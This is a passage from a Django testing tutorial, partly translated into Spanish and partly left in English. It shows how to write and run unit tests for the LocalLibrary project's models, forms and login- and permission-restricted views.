casos de falla). Una vez más, la estructura depende en gran medida de usted, pero es mejor si es coherente.</p> + +<p>Agregue la clase de prueba a continuación al final del archivo. La clase demuestra cómo construir una clase de caso de prueba derivando de <code>TestCase</code>.</p> + +<pre class="brush: python notranslate">class YourTestClass(TestCase): + + @classmethod + def setUpTestData(cls): + print("setUpTestData: Run once to set up non-modified data for all class methods.") + pass + + def setUp(self): + print("setUp: Run once for every test method to setup clean data.") + pass + + def test_false_is_false(self): + print("Method: test_false_is_false.") + self.assertFalse(False) + + def test_false_is_true(self): + print("Method: test_false_is_true.") + self.assertTrue(False) + + def test_one_plus_one_equals_two(self): + print("Method: test_one_plus_one_equals_two.") + self.assertEqual(1 + 1, 2)</pre> + +<p>La nueva clase define dos métodos que puede utilizar para la configuración previa a la prueba (por ejemplo, para crear modelos u otros objetos que necesitará para la prueba):</p> + +<ul> + <li><code>setUpTestData()</code> se llama una vez al comienzo de la ejecución de prueba para la configuración a nivel de clase. Usaría esto para crear objetos que no se modificarán ni cambiarán en ninguno de los métodos de prueba.</li> + <li><code>setUp()</code> se llama antes de cada función de prueba para configurar cualquier objeto que pueda ser modificado por la prueba (cada función de prueba obtendrá una versión "nueva" de estos objetos).</li> +</ul> + +<div class="note"> +<p>Las clases de prueba también tienen un metodo <code>tearDown()</code> que no hemos utilizado. Este método no es particularmente útil para las pruebas de bases de datos, ya que <code>TestCase</code> la clase base se encarga del desmontaje de la base de datos por usted.</p> +</div> + +<p>Debajo de ellos tenemos una serie de métodos de prueba, que utilizamos funciones <code>Assert</code> toprobar si las condiciones son verdaderas, falsas o iguales (<code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual</code>). Si la condición no se evalúa como se esperaba, la prueba fallará y reportará el error a su consola.</p> + +<p>Los <code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual</code> son afirmaciones estándar proporcionadas por <strong>unittest</strong>. Hay otras aserciones estándar en el marco y también aserciones específicas de Django (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#assertions">Django-specific assertions</a>) para probar si una vista redirecciona (<code>assertRedirects</code>),para probar si se ha utilizado una plantilla en particular (<code>assertTemplateUsed</code>), etc.</p> + +<div class="note"> +<p>Normalmente no debería incluir funciones print () en sus pruebas como se muestra arriba. Lo hacemos aquí solo para que pueda ver el orden en que se llaman las funciones de configuración en la consola (en la siguiente sección).</p> +</div> + +<h2 id="Como_correr_las_pruebas">Como correr las pruebas</h2> + +<p>La forma más sencilla de ejecutar todas las pruebas es utilizar el comando:</p> + +<pre class="brush: bash notranslate">python3 manage.py test</pre> + +<p>Esto descubrirá todos los archivos nombrados con el patrón <strong>test*.py</strong> bajo el directorio actual y ejecute todas las pruebas definidas usando las clases base apropiadas (aquí tenemos una serie de archivos de prueba, pero solo <strong>/catalog/tests/test_models.py</strong> contiene actualmente cualquier prueba). De forma predeterminada, las pruebas informarán individualmente solo sobre las fallas de las pruebas, seguidas de un resumen de la prueba.</p> + +<div class="note"> +<p>Si recibe errores similares a: <code>ValueError: Missing staticfiles manifest entry ...</code> esto puede deberse a que las pruebas no ejecutan collectstatic de forma predeterminada y su aplicación usa una clase de almacenamiento que lo requiere (consulte manifest_strict para obtener más información). Hay varias formas de superar este problema; la más fácil es simplemente ejecutar collectstatic antes de ejecutar las pruebas:</p> + +<pre class="brush: bash notranslate">python3 manage.py collectstatic +</pre> +</div> + +<p>Ejecute las pruebas en el directorio raíz de LocalLibrary. Debería ver un resultado como el siguiente.</p> + +<pre class="brush: bash notranslate">>python manage.py test + +Creating test database for alias 'default'... +<strong>setUpTestData: Run once to set up non-modified data for all class methods. +setUp: Run once for every test method to setup clean data. +Method: test_false_is_false. +.setUp: Run once for every test method to setup clean data. +Method: test_false_is_true. +FsetUp: Run once for every test method to setup clean data. +Method: test_one_plus_one_equals_two.</strong> +. +====================================================================== +FAIL: test_false_is_true (catalog.tests.tests_models.YourTestClass) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "D:\Github\django_tmp\library_w_t_2\locallibrary\catalog\tests\tests_models.py", line 22, in test_false_is_true + self.assertTrue(False) +AssertionError: False is not true + +---------------------------------------------------------------------- +Ran 3 tests in 0.075s + +FAILED (failures=1) +Destroying test database for alias 'default'...</pre> + +<p>Aquí vemos que tuvimos una falla de prueba, y podemos ver exactamente qué función falló y por qué (se espera esta falla, porque <code>False</code> no es <code>True</code>!).</p> + +<div class="note"> +<p>Sugerencia: Lo más importante que debe aprender del resultado de la prueba anterior es que es mucho más valioso si usa nombres descriptivos / informativos para sus objetos y métodos.</p> +</div> + +<p>El texto que se muestra en <strong>negritas</strong> anterior normalmente no aparecería en la salida de prueba (esto es generado por la funcion <code>print()</code> en nuestra prueba). Esto muestra el metodo <code>setUpTestData()</code> es llamado una vez para la clase y <code>setUp()</code>se llama antes de cada método.</p> + +<p>Las siguientes secciones muestran cómo puede ejecutar pruebas específicas y cómo controlar cuánta información muestran las pruebas.</p> + +<h3 id="Mostrando_más_información_de_las_pruebas">Mostrando más información de las pruebas</h3> + +<p>Si desea obtener más información sobre la ejecución de prueba, puede cambiar el nivel de detalle. Por ejemplo, para enumerar los éxitos y fallas de la prueba (y una gran cantidad de información sobre cómo está configurada la base de datos de prueba), puede establecer la verbosidad en "2" como se muestra:</p> + +<pre class="brush: bash notranslate">python3 manage.py test --verbosity 2</pre> + +<p>The allowed verbosity levels are 0, 1, 2, and 3, with the default being "1".</p> + +<h3 id="Ejecutando_pruebas_especificas">Ejecutando pruebas especificas</h3> + +<p>Si desea ejecutar un subconjunto de sus pruebas, puede hacerlo especificando la ruta de puntos completa al paquete (s), módulo, <code>TestCase</code> subclase o metodo:</p> + +<pre class="brush: bash notranslate">python3 manage.py test catalog.tests # Run the specified module +python3 manage.py test catalog.tests.test_models # Run the specified module +python3 manage.py test catalog.tests.test_models.YourTestClass # Run the specified class +python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one_equals_two # Run the specified method +</pre> + +<h2 id="Pruebas_en_el_proyecto_LocalLibrary">Pruebas en el proyecto LocalLibrary</h2> + +<p>Ahora que sabemos cómo ejecutar nuestras pruebas y qué tipo de cosas necesitamos probar, veamos algunos ejemplos prácticos.</p> + +<div class="note"> +<p>Nota: No escribiremos todas las pruebas posibles, pero esto debería darle una idea de cómo funcionan las pruebas y qué más puede hacer.</p> +</div> + +<h3 id="Modelos">Modelos</h3> + +<p>Como se discutió anteriormente, debemos probar todo lo que sea parte de nuestro diseño o que esté definido por el código que hayamos escrito, pero no las bibliotecas / código que ya haya probado Django o el equipo de desarrollo de Python.</p> + +<p>Por ejemplo, considere el modelo de <code>Author</code> a continuación. Aquí deberíamos probar las etiquetas para todos los campos, porque aunque no hemos especificado explícitamente la mayoría de ellos, tenemos un diseño que dice cuáles deberían ser estos valores. Si no probamos los valores, entonces no sabemos que las etiquetas de los campos tienen sus valores deseados. De manera similar, aunque confiamos en que Django creará un campo de la longitud especificada, vale la pena especificar una prueba para esta longitud para asegurarse de que se implementó según lo planeado.</p> + +<pre class="brush: python notranslate">class Author(models.Model): + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name)</pre> + +<p>Abra su <strong>/catalog/tests/test_models.py</strong>, y reemplace cualquier código existente con el siguiente código de prueba para el modelo de <code>Author</code>.</p> + +<p>Aquí usted verá que primero importamos <code>TestCase</code> y derivamos nuestras clases de prueba (<code>AuthorModelTest</code>) de ello, usando un nombre descriptive para que así podamos fácilmente cualquier pruebas fallidas en el output de la prueba. Luego llamamos a <code>setUpTestData()</code> para crear un objeto de autor que usaremos pero no modificaremos en ninguna de las pruebas.</p> + +<pre class="brush: python notranslate">from django.test import TestCase + +# Create your tests here. + +from catalog.models import Author + +class AuthorModelTest(TestCase): + + @classmethod + def setUpTestData(cls): + #Set up non-modified objects used by all test methods + Author.objects.create(first_name='Big', last_name='Bob') + + def test_first_name_label(self): + author=Author.objects.get(id=1) + field_label = author._meta.get_field('first_name').verbose_name + self.assertEquals(field_label,'first name') + + def test_date_of_death_label(self): + author=Author.objects.get(id=1) + field_label = author._meta.get_field('date_of_death').verbose_name + self.assertEquals(field_label,'died') + + def test_first_name_max_length(self): + author=Author.objects.get(id=1) + max_length = author._meta.get_field('first_name').max_length + self.assertEquals(max_length,100) + + def test_object_name_is_last_name_comma_first_name(self): + author=Author.objects.get(id=1) + expected_object_name = '%s, %s' % (author.last_name, author.first_name) + self.assertEquals(expected_object_name,str(author)) + + def test_get_absolute_url(self): + author=Author.objects.get(id=1) + #This will also fail if the urlconf is not defined. + self.assertEquals(author.get_absolute_url(),'/catalog/author/1')</pre> + +<p>The field tests check that the values of the field labels (<code>verbose_name</code>) and that the size of the character fields are as expected. These methods all have descriptive names, and follow the same pattern:</p> + +<pre class="brush: python notranslate">author=Author.objects.get(id=1) # Get an author object to test +field_label = author._meta.get_field('first_name').verbose_name # Get the metadata for the required field and use it to query the required field data +self.assertEquals(field_label,'first name') # Compare the value to the expected result</pre> + +<p>The interesting things to note are:</p> + +<ul> + <li>We can't get the <code>verbose_name</code> directly using <code>author.first_name.verbose_name</code>, because <code>author.first_name</code> is a <em>string</em> (not a handle to the <code>first_name</code> object that we can use to access its properties). Instead we need to use the author's <code>_meta</code> attribute to get an instance of the field and use that to query for the additional information.</li> + <li>We chose to use <code>assertEquals(field_label,'first name')</code> rather than <code>assertTrue(field_label == 'first name')</code>. The reason for this is that if the test fails the output for the former tells you what the label actually was, which makes debugging the problem just a little easier.</li> +</ul> + +<div class="note"> +<p><strong>Note:</strong> Tests for the <code>last_name</code> and <code>date_of_birth</code> labels, and also the test for the length of the <code>last_name</code> field have been omitted. Add your own versions now, following the naming conventions and approaches shown above.</p> +</div> + +<p>We also need to test our custom methods. These essentially just check that the object name was constructed as we expected using "Last Name", "First Name" format, and that the URL we get for an <code>Author</code> item is as we would expect.</p> + +<pre class="brush: python notranslate">def test_object_name_is_last_name_comma_first_name(self): + author=Author.objects.get(id=1) + expected_object_name = '%s, %s' % (author.last_name, author.first_name) + self.assertEquals(expected_object_name,str(author)) + +def test_get_absolute_url(self): + author=Author.objects.get(id=1) + #This will also fail if the urlconf is not defined. + self.assertEquals(author.get_absolute_url(),'/catalog/author/1')</pre> + +<p>Run the tests now. If you created the Author model as we described in the models tutorial it is quite likely that you will get an error for the <code>date_of_death</code> label as shown below. The test is failing because it was written expecting the label definition to follow Django's convention of not capitalising the first letter of the label (Django does this for you).</p> + +<pre class="brush: bash notranslate">====================================================================== +FAIL: test_date_of_death_label (catalog.tests.test_models.AuthorModelTest) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "D:\...\locallibrary\catalog\tests\test_models.py", line 32, in test_date_of_death_label + self.assertEquals(field_label,'died') +AssertionError: 'Died' != 'died' +- Died +? ^ ++ died +? ^</pre> + +<p>This is a very minor bug, but it does highlight how writing tests can more thoroughly check any assumptions you may have made.</p> + +<div class="note"> +<p><strong>Note: </strong>Change the label for the date_of_death field (/catalog/models.py) to "died" and re-run the tests.</p> +</div> + +<p>The patterns for testing the other models are similar so we won't continue to discuss these further. Feel free to create your own tests for the our other models.</p> + +<h3 id="Formularios">Formularios</h3> + +<p>The philosophy for testing your forms is the same as for testing your models; you need to test anything that you've coded or your design specifies, but not the behaviour of the underlying framework and other third party libraries.</p> + +<p>Generally this means that you should test that the forms have the fields that you want, and that these are displayed with appropriate labels and help text. You don't need to verify that Django validates the field type correctly (unless you created your own custom field and validation) — i.e. you don't need to test that an email field only accepts emails. However you would need to test any additional validation that you expect to be performed on the fields and any messages that your code will generate for errors.</p> + +<p>Consider our form for renewing books. This has just one field for the renewal date, which will have a label and help text that we will need to verify.</p> + +<pre class="brush: python notranslate">class RenewBookForm(forms.Form): + """ + Form for a librarian to renew books. + """ + renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") + + def clean_renewal_date(self): + data = self.cleaned_data['renewal_date'] + + #Check date is not in past. + if data < datetime.date.today(): + raise ValidationError(_('Invalid date - renewal in past')) + #Check date is in range librarian allowed to change (+4 weeks) + if data > datetime.date.today() + datetime.timedelta(weeks=4): + raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) + + # Remember to always return the cleaned data. + return data</pre> + +<p>Open our <strong>/catalog/tests/test_forms.py</strong> file and replace any existing code with the following test code for the <code>RenewBookForm</code> form. We start by importing our form and some Python and Django libraries to help test test time-related functionality. We then declare our form test class in the same way as we did for models, using a descriptive name for our <code>TestCase</code>-derived test class.</p> + +<pre class="brush: python notranslate">from django.test import TestCase + +# Create your tests here. + +import datetime +from django.utils import timezone +from catalog.forms import RenewBookForm + +class RenewBookFormTest(TestCase): + + def test_renew_form_date_field_label(self): + form = RenewBookForm() + self.assertTrue(form.fields['renewal_date'].label == None or form.fields['renewal_date'].label == 'renewal date') + + def test_renew_form_date_field_help_text(self): + form = RenewBookForm() + self.assertEqual(form.fields['renewal_date'].help_text,'Enter a date between now and 4 weeks (default 3).') + + def test_renew_form_date_in_past(self): + date = datetime.date.today() - datetime.timedelta(days=1) + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertFalse(form.is_valid()) + + def test_renew_form_date_too_far_in_future(self): + date = datetime.date.today() + datetime.timedelta(weeks=4) + datetime.timedelta(days=1) + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertFalse(form.is_valid()) + + def test_renew_form_date_today(self): + date = datetime.date.today() + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertTrue(form.is_valid()) + + def test_renew_form_date_max(self): + date = timezone.now() + datetime.timedelta(weeks=4) + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertTrue(form.is_valid()) +</pre> + +<p>The first two functions test that the field's <code>label</code> and <code>help_text</code> are as expected. We have to access the field using the fields dictionary (e.g. <code>form.fields['renewal_date']</code>). Note here that we also have to test whether the label value is <code>None</code>, because even though Django will render the correct label it returns <code>None</code> if the value is not <em>explicitly</em> set.</p> + +<p>The rest of the functions test that the form is valid for renewal dates just inside the acceptable range and invalid for values outside the range. Note how we construct test date values around our current date (<code>datetime.date.today()</code>) using <code>datetime.timedelta()</code> (in this case specifying a number of days or weeks). We then just create the form, passing in our data, and test if it is valid.</p> + +<div class="note"> +<p><strong>Note:</strong> Here we don't actually use the database or test client. Consider modifying these tests to use <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.SimpleTestCase">SimpleTestCase</a>.</p> + +<p>We also need to validate that the correct errors are raised if the form is invalid, however this is usually done as part of view processing, so we'll take care of that in the next section.</p> +</div> + +<p>That's all for forms; we do have some others, but they are automatically created by our generic class-based editing views, and should be tested there! Run the tests and confirm that our code still passes!</p> + +<h3 id="Vistas">Vistas</h3> + +<p>To validate our view behaviour we use the Django test <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client">Client</a>. This class acts like a dummy web browser that we can use to simulate <code>GET</code> and <code>POST</code> requests on a URL and observe the response. We can see almost everything about the response, from low-level HTTP (result headers and status codes) through to the template we're using to render the HTML and the context data we're passing to it. We can also see the chain of redirects (if any) and check the URL and status code at each step. This allows us to verify that each view is doing what is expected.</p> + +<p>Let's start with one of our simplest views, which provides a list of all Authors. This is displayed at URL <strong>/catalog/authors/</strong> (an URL named 'authors' in the URL configuration).</p> + +<pre class="brush: python notranslate">class AuthorListView(generic.ListView): + model = Author + paginate_by = 10 +</pre> + +<p>As this is a generic list view almost everything is done for us by Django. Arguably if you trust Django then the only thing you need to test is that the view is accessible at the correct URL and can be accessed using its name. However if you're using a test-driven development process you'll start by writing tests that confirm that the view displays all Authors, paginating them in lots of 10.</p> + +<p>Open the <strong>/catalog/tests/test_views.py</strong> file and replace any existing text with the following test code for <code>AuthorListView</code>. As before we import our model and some useful classes. In the <code>setUpTestData()</code> method we set up a number of <code>Author</code> objects so that we can test our pagination.</p> + +<pre class="brush: python notranslate">from django.test import TestCase + +# Create your tests here. + +from catalog.models import Author +from django.urls import reverse + +class AuthorListViewTest(TestCase): + + @classmethod + def setUpTestData(cls): + #Create 13 authors for pagination tests + number_of_authors = 13 + for author_num in range(number_of_authors): + Author.objects.create(first_name='Christian %s' % author_num, last_name = 'Surname %s' % author_num,) + + def test_view_url_exists_at_desired_location(self): + resp = self.client.get('/catalog/authors/') + self.assertEqual(resp.status_code, 200) + + def test_view_url_accessible_by_name(self): + resp = self.client.get(reverse('authors')) + self.assertEqual(resp.status_code, 200) + + def test_view_uses_correct_template(self): + resp = self.client.get(reverse('authors')) + self.assertEqual(resp.status_code, 200) + + self.assertTemplateUsed(resp, 'catalog/author_list.html') + + def test_pagination_is_ten(self): + resp = self.client.get(reverse('authors')) + self.assertEqual(resp.status_code, 200) + self.assertTrue('is_paginated' in resp.context) + self.assertTrue(resp.context['is_paginated'] == True) + self.assertTrue( len(resp.context['author_list']) == 10) + + def test_lists_all_authors(self): + #Get second page and confirm it has (exactly) remaining 3 items + resp = self.client.get(reverse('authors')+'?page=2') + self.assertEqual(resp.status_code, 200) + self.assertTrue('is_paginated' in resp.context) + self.assertTrue(resp.context['is_paginated'] == True) + self.assertTrue( len(resp.context['author_list']) == 3)</pre> + +<p>All the tests use the client (belonging to our <code>TestCase</code>'s derived class) to simulate a <code>GET</code> request and get a response (<code>resp</code>). The first version checks a specific URL (note, just the specific path without the domain) while the second generates the URL from its name in the URL configuration.</p> + +<pre class="brush: python notranslate">resp = self.client.get('/catalog/authors/') +resp = self.client.get(reverse('authors')) +</pre> + +<p>Once we have the response we query it for its status code, the template used, whether or not the response is paginated, the number of items returned, and the total number of items.</p> + +<p>The most interesting variable we demonstrate above is <code>resp.context</code>, which is the context variable passed to the template by the view. This is incredibly useful for testing, because it allows us to confirm that our template is getting all the data it needs. In other words we can check that we're using the intended template and what data the template is getting, which goes a long way to verifying that any rendering issues are solely due to template.</p> + +<h4 id="Views_that_are_restricted_to_logged_in_users">Views that are restricted to logged in users</h4> + +<p>In some cases you'll want to test a view that is restricted to just logged in users. For example our <code>LoanedBooksByUserListView</code> is very similar to our previous view but is only available to logged in users, and only displays <code>BookInstance</code> records that are borrowed by the current user, have the 'on loan' status, and are ordered "oldest first".</p> + +<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin + +class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): + """ + Generic class-based view listing books on loan to current user. + """ + model = BookInstance + template_name ='catalog/bookinstance_list_borrowed_user.html' + paginate_by = 10 + + def get_queryset(self): + return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre> + +<p>Add the following test code to <strong>/catalog/tests/test_views.py</strong>. Here we first use <code>SetUp()</code> to create some user login accounts and <code>BookInstance</code> objects (along with their associated books and other records) that we'll use later in the tests. Half of the books are borrowed by each test user, but we've initially set the status of all books to "maintenance". We've used <code>SetUp()</code> rather than <code>setUpTestData()</code> because we'll be modifying some of these objects later.</p> + +<div class="note"> +<p><strong>Note:</strong> The <code>setUp()</code> code below creates a book with a specified <code>Language</code>, but <em>your</em> code may not include the <code>Language</code> model as this was created as a <em>challenge</em>. If this is the case, simply comment out the parts of the code that create or import Language objects. You should also do this in the <code>RenewBookInstancesViewTest</code> section that follows.</p> +</div> + +<pre class="brush: python notranslate">import datetime +from django.utils import timezone + +from catalog.models import BookInstance, Book, Genre, Language +from django.contrib.auth.models import User #Required to assign User as a borrower + +class LoanedBookInstancesByUserListViewTest(TestCase): + + def setUp(self): + #Create two users + test_user1 = User.objects.create_user(username='testuser1', password='12345') + test_user1.save() + test_user2 = User.objects.create_user(username='testuser2', password='12345') + test_user2.save() + + #Create a book + test_author = Author.objects.create(first_name='John', last_name='Smith') + test_genre = Genre.objects.create(name='Fantasy') + test_language = Language.objects.create(name='English') + test_book = Book.objects.create(title='Book Title', summary = 'My book summary', isbn='ABCDEFG', author=test_author, language=test_language) + # Create genre as a post-step + genre_objects_for_book = Genre.objects.all() + test_book.genre.set(genre_objects_for_book) #Direct assignment of many-to-many types not allowed. + test_book.save() + + #Create 30 BookInstance objects + number_of_book_copies = 30 + for book_copy in range(number_of_book_copies): + return_date= timezone.now() + datetime.timedelta(days=book_copy%5) + if book_copy % 2: + the_borrower=test_user1 + else: + the_borrower=test_user2 + status='m' + BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=the_borrower, status=status) + + def test_redirect_if_not_logged_in(self): + resp = self.client.get(reverse('my-borrowed')) + self.assertRedirects(resp, '/accounts/login/?next=/catalog/mybooks/') + + def test_logged_in_uses_correct_template(self): + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('my-borrowed')) + + #Check our user is logged in + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + #Check we used correct template + self.assertTemplateUsed(resp, 'catalog/bookinstance_list_borrowed_user.html') +</pre> + +<p>To verify that the view will redirect to a login page if the user is not logged in we use <code>assertRedirects</code>, as demonstrated in <code>test_redirect_if_not_logged_in()</code>. To verify that the page is displayed for a logged in user we first log in our test user, and then access the page again and check that we get a <code>status_code</code> of 200 (success). </p> + +<p>The rest of the test verify that our view only returns books that are on loan to our current borrower. Copy the (self-explanatory) code at the end of the test class above.</p> + +<pre class="brush: python notranslate"> def test_only_borrowed_books_in_list(self): + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('my-borrowed')) + + #Check our user is logged in + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + #Check that initially we don't have any books in list (none on loan) + self.assertTrue('bookinstance_list' in resp.context) + self.assertEqual( len(resp.context['bookinstance_list']),0) + + #Now change all books to be on loan + get_ten_books = BookInstance.objects.all()[:10] + + for copy in get_ten_books: + copy.status='o' + copy.save() + + #Check that now we have borrowed books in the list + resp = self.client.get(reverse('my-borrowed')) + #Check our user is logged in + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + self.assertTrue('bookinstance_list' in resp.context) + + #Confirm all books belong to testuser1 and are on loan + for bookitem in resp.context['bookinstance_list']: + self.assertEqual(resp.context['user'], bookitem.borrower) + self.assertEqual('o', bookitem.status) + + def test_pages_ordered_by_due_date(self): + + #Change all books to be on loan + for copy in BookInstance.objects.all(): + copy.status='o' + copy.save() + + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('my-borrowed')) + + #Check our user is logged in + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + #Confirm that of the items, only 10 are displayed due to pagination. + self.assertEqual( len(resp.context['bookinstance_list']),10) + + last_date=0 + for copy in resp.context['bookinstance_list']: + if last_date==0: + last_date=copy.due_back + else: + self.assertTrue(last_date <= copy.due_back)</pre> + +<p>You could also add pagination tests, should you so wish!</p> + +<h4 id="Testing_views_with_forms">Testing views with forms</h4> + +<p>Testing views with forms is a little more complicated than in the cases above, because you need to test more code paths: initial display, display after data validation has failed, and display after validation has succeeded. The good news is that we use the client for testing in almost exactly the same way as we did for display-only views.</p> + +<p>To demonstrate, let's write some tests for the view used to renew books (<code>renew_book_librarian()</code>):</p> + +<pre class="brush: python notranslate">from .forms import RenewBookForm + +@permission_required('catalog.can_mark_returned') +def renew_book_librarian(request, pk): + """ + View function for renewing a specific BookInstance by librarian + """ + book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a POST request then process the Form data + if request.method == 'POST': + + # Create a form instance and populate it with data from the request (binding): + form = RenewBookForm(request.POST) + + # Check if the form is valid: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + # If this is a GET (or any other method) create the default form + else: + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>We'll need to test that the view is only available to users who have the <code>can_mark_returned </code>permission, and that users are redirected to an HTTP 404 error page if they attempt to renew a <code>BookInstance</code> that does not exist. We should check that the initial value of the form is seeded with a date three weeks in the future, and that if validation succeeds we're redirected to the "all-borrowed books" view. As part checking the validation-fail tests we'll also check that our form is sending the appropriate error messages.</p> + +<p>Add the first part of the test class (shown below) to the bottom of <strong>/catalog/tests/test_views.py</strong>. This creates two users and two book instances, but only gives one user the permission required to access the view. The code to grant permissions during tests is shown in bold:</p> + +<pre class="brush: python notranslate">from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned. + +class RenewBookInstancesViewTest(TestCase): + + def setUp(self): + #Create a user + test_user1 = User.objects.create_user(username='testuser1', password='12345') + test_user1.save() + + test_user2 = User.objects.create_user(username='testuser2', password='12345') + test_user2.save() +<strong> permission = Permission.objects.get(name='Set book as returned') + test_user2.user_permissions.add(permission) + test_user2.save()</strong> + + #Create a book + test_author = Author.objects.create(first_name='John', last_name='Smith') + test_genre = Genre.objects.create(name='Fantasy') + test_language = Language.objects.create(name='English') + test_book = Book.objects.create(title='Book Title', summary = 'My book summary', isbn='ABCDEFG', author=test_author, language=test_language,) + # Create genre as a post-step + genre_objects_for_book = Genre.objects.all() + test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed. + test_book.save() + + #Create a BookInstance object for test_user1 + return_date= datetime.date.today() + datetime.timedelta(days=5) + self.test_bookinstance1=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user1, status='o') + + #Create a BookInstance object for test_user2 + return_date= datetime.date.today() + datetime.timedelta(days=5) + self.test_bookinstance2=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user2, status='o')</pre> + +<p>Add the following tests to the bottom of the test class. These check that only users with the correct permissions (<em>testuser2</em>) can access the view. We check all the cases: when the user is not logged in, when a user is logged in but does not have the correct permissions, when the user has permissions but is not the borrower (should succeed), and what happens when they try to access a <code>BookInstance</code> that doesn't exist. We also check that the correct template is used.</p> + +<pre class="brush: python notranslate"> def test_redirect_if_not_logged_in(self): + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + #Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable) + self.assertEqual( resp.status_code,302) + self.assertTrue( resp.url.startswith('/accounts/login/') ) + + def test_redirect_if_logged_in_but_not_correct_permission(self): + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + + #Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable) + self.assertEqual( resp.status_code,302) + self.assertTrue( resp.url.startswith('/accounts/login/') ) + + def test_logged_in_with_permission_borrowed_book(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance2.pk,}) ) + + #Check that it lets us login - this is our book and we have the right permissions. + self.assertEqual( resp.status_code,200) + + def test_logged_in_with_permission_another_users_borrowed_book(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + + #Check that it lets us login. We're a librarian, so we can view any users book + self.assertEqual( resp.status_code,200) + + def test_HTTP404_for_invalid_book_if_logged_in(self): + import uuid + test_uid = uuid.uuid4() #unlikely UID to match our bookinstance! + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid,}) ) + self.assertEqual( resp.status_code,404) + + def test_uses_correct_template(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + self.assertEqual( resp.status_code,200) + + #Check we used correct template + self.assertTemplateUsed(resp, 'catalog/book_renew_librarian.html') +</pre> + +<p>Add the next test method, as shown below. This checks that the initial date for the form is three weeks in the future. Note how we are able to access the value of the initial value of the form field (shown in bold).</p> + +<pre class="brush: python notranslate"> def test_form_renewal_date_initially_has_date_three_weeks_in_future(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + self.assertEqual( resp.status_code,200) + + date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3) + self.assertEqual(<strong>resp.context['form'].initial['renewal_date']</strong>, date_3_weeks_in_future ) +</pre> + +<p>The next test (add this to the class too) checks that the view redirects to a list of all borrowed books if renewal succeeds. What differs here is that for the first time we show how you can <code>POST</code> data using the client. The post <em>data</em> is the second argument to the post function, and is specified as a dictionary of key/values.</p> + +<pre class="brush: python notranslate"> def test_redirects_to_all_borrowed_book_list_on_success(self): + login = self.client.login(username='testuser2', password='12345') + valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2) + resp = <strong>self.client.<em>post</em>(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future} )</strong> + self.assertRedirects(resp, reverse('all-borrowed') ) +</pre> + +<div class="warning"> +<p>The <em>all-borrowed</em> view was added as a <em>challenge</em>, and your code may instead redirect to the home page '/'. If so, modify the last two lines of the test code to be like the code below. The <code>follow=True</code> in the request ensures that the request returns the final destination URL (hence checking <code>/catalog/</code> rather than <code>/</code>).</p> + +<pre class="brush: python 